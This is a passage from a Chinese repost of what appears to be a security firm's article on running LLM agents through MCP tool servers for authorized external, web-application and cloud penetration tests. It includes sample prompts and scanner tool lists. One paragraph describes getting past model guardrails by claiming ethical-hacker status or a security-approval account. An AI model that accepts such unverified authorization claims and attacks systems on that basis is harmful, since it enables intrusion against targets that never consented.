harnesses）与模型上下文协议（MCP）服务器以及持久化知识库相结合，渗透测试人员得以扩大测试覆盖范围。其结果是更全面的评估，同时不必牺牲人工监督或问责机制。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在 Bishop Fox 的现场工作中，将推理能力与智能体框架结合使用已证明能够提升覆盖范围。当我们的使命是在时间受限、预算获批且符合商业诉求的前提下尽可能多地保障安全时，不为自身创造有利条件反而是不负责任的做法。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在过去几个月的工作中，这些战术被用于识别两起独立的个人信息泄露事件，合计涉及超过 1200 万条唯一记录。如果没有 LLM 的帮助，我们是否也能发现这些问题？当然可以，但原本需要数天才能发现的问题，在开始现场工作后数小时内便被找了出来。两个目标均为客户委托的工作，其中一个目标被确认多年来一直处于多个漏洞赏金计划的范围内。借助这些技术，我们得以覆盖比其他方式更多的范围。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">尽管这些文字是由有机的手指敲击出匠心独具的词元、供你的大脑消化的，但如果只是敲键盘空谈，那又有什么意义呢。让我们来看看外部、云和应用渗透测试中的几种方法，探讨如何负责任地利用 MCP 智能体为我们所用。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">外部渗透测试</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">当作为未授权攻击者通过互联网攻击目标时，我们可以使用一个简单的 MCP 服务器——具备读文件、写文件、编辑文件和执行代码的能力——来完成判断攻击者能否经由互联网对某组织获取未授权访问所需的大部分任务。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在最基本的形式下，我们可以提供一个或多个目标，并让 LLM 攻击这个目标。根据模型的对齐（alignment）情况，我们可能需要说服模型我们是道德黑客，且我们正在开展的活动已获批准。在某些情况下，声明你的账户属于安全审批流程的一部分，也可能绕过防护栏（guardrails）。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012954" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c917b2b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgU2D0MRk3OzdqSN0fwNBZRUW0reHudocSfxoz2dLQLhFCfoQm94xuicCc2xOeVtU0zao9x3sCGeLPIrRLic54BsJyrEP7W5SJhQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><em data-nest-level="3"><span leaf="">图 1 —— 向 LLM 确认我们的身份</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">然而，上方的交互在本文发布两个月前还能奏效，如今由于模型防护栏的加强已不再有效。与 LLM 交互的更基础方式之一——不考虑 token 用量或测试完整性——是直接提示 LLM 执行一次外部渗透测试。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">Perform an external penetration test against bishopfox.com and related subdomains.</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我们可以通过在提示词中提供测试方案来升级这一流程。在大多数情况下，最好动态获取测试方案，这样我们的智能体框架就能使用带有插值提示词和测试方案的模板。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">Perform an external penetration test against bishopfox.com and related subdomains. Use the methodology here: [Pasted text <a class="wx_topic_link" topic-id="mrt6rxc9-g53viq" style="color: #576B95 !important;" data-topic="1" data-recommend="">#1</a> +46 lines]</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我们还可以更进一步，加入指令要求在智能体编排器将单个测试方案条目委派给子智能体时，保持测试方案的更新。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">Perform an external penetration test against bishopfox.com and related subdomains.</span><br/><span leaf="">Use the methodology here and as steps are completed, document the specific commands ran, the result location, and add to the attack summary for the scope as you go:</span><br/><span leaf="">[Pasted text <a class="wx_topic_link" topic-id="mrt6rxc9-j3q1dx" style="color: #576B95 !important;" data-topic="1" data-recommend="">#1</a> +46 lines]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">在上述所有情形中，我们都把测试方案的执行交给了 LLM，而不是代其执行。为了更高效地使用 token、并对流程更有把握，我们可以转而向 LLM 暴露一个工具有限的 MCP 服务器并附上描述。例如&#34;执行一次全 TCP 端口扫描&#34;，这样就能完全按照我们想要的方式扫描网络，而不必担心 LLM 是否记得在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">nmap</span></code><span leaf="">扫描中加上 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">-Pn</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">❯ /mcp</span><br/><span leaf="">─────────────────────────────────────────────────────────</span><br/><span leaf="">  Tools for kali</span><br/><span leaf="">  34 tools</span><br/><span leaf="">  ↑ 25. masscan-all              destructive, open-world</span><br/><span leaf="">    26. masscan-discovery        destructive, open-world</span><br/><span leaf="">    27. nmap-100-udp             destructive, open-world</span><br/><span leaf="">    28. nmap-1000-udp            destructive, open-world</span><br/><span leaf="">  ❯ 29. test-plan-status         destructive, open-world</span><br/><span leaf="">  ↑/↓ to navigate · Enter to select · Esc to back</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">如果想把这一逻辑再推进一步，针对任何被发现的网络，我们应采取一系列操作，例如套接字发现、服务指纹识别、查找错误配置以及判断服务可利用性。一个事件驱动循环——递归地处理数据类型以为 LLM 生成初始报告——在确保预期流程执行、控制 token 用量，以及根据已收集信息引导 LLM 开展后续任务方面，是更有效的方法。这相当于软件开发中针对特定功能的拉取请求（pull request）——我们针对一个小的、范围明确的任务做出具体指示。另外，那个破折号是我手敲的，别 @ 我！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">对于在外部渗透测试场景下使用 LLM，我们考察了多种方法。从使用&#34;攻击这个系统&#34;的基础提示词，到&#34;用测试方案攻击这个系统&#34;，再到&#34;用这些工具和测试方案攻击这个系统&#34;，最后到&#34;让我们先在没有 LLM 的情况下尽可能自动化，然后把报告交给 LLM 来迭代流程&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><strong data-nest-level="3"><span leaf="">结论：</span></strong><span leaf="">AI 的价值不在于简单地让它&#34;攻击某个目标&#34;，而在于为其提供结构化的工作流、确定性的工具，以及足够的上下文来执行可重复的渗透测试流程。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">接下来进入应用渗透测试。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">应用渗透测试</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">同样，从最低门槛开始，我们可以让 LLM 攻击一个 Web 应用：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Attack this target and look for OWASP Top 10 vulnerabilities: <a href="https://target.com" target="_blank">https://target.com</a></span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">但除非我们正在监控系统的日志文件并审查每一条命令，否则我们可能无法了解 LLM 在做什么。因此，让我们改进提示词，并确保 Web 应用测试代理正在运行：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Attack this target and look for OWASP Top 10 vulnerabilities: <a href="https://target.com" target="_blank">https://target.com</a></span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">ALL HTTP REQUESTS MUST BE PROXIED TO HTTP://127.0.0.1:8080</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">加上这条额外指令后，我们将开始看到智能体编排框架发出的请求出现在我们的测试代理中。在前文提到这些战术首次奏效的案例中，该 Web 应用具有开放注册功能，用户可以创建账户。我们创建了两个用户账户，并通过引用一系列环境变量（分别对应用户名、密码和已签发的认证令牌）将凭据信息共享给 LLM。我们可以将其用于授权测试。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Attack this target and look for OWASP Top 10 vulnerabilities: <a href="https://target.com" target="_blank">https://target.com</a></span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">ALL HTTP REQUESTS MUST BE PROXIED TO HTTP://127.0.0.1:8080</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">For authorization testing, the first user account&#39;s information is stored in $USER1, $PASS1, and $TOKEN1 whereas the second user account is stored in $USER2, $PASS2, and $TOKEN2</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">For each request, also place an HTTP Header in the request for what is being tested</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Do not issue destructive requests!!</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我们在那里提供了两条最终指令，以帮助我们了解 LLM 对每个请求在做什么，以及不要发出破坏性请求。根据我的深入研究，两个感叹号似乎是最佳搭配。玩笑归玩笑，这并非确保此类情况不发生的可靠方法，最好与安全测试代理中的带外规则（out-of-band rules）结合使用。在此过程中，我们选择性地将各种请求传入 LLM，使其了解我希望用第二双眼睛审视的功能。我们可以将上述方法与外部渗透测试中讨论的内容相结合，同时传入一份测试方案，以便在执行推进过程中保持更新。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">同样，借助这种方法，数百万人的个人信息得以被正确地限制，免遭未授权攻击者获取。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">云渗透测试</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我们可以在这里采取类似的方法：使用我们的只读云账户，指示模型运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">scoutsuite</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">pmapper</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">aws</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">cirro</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span 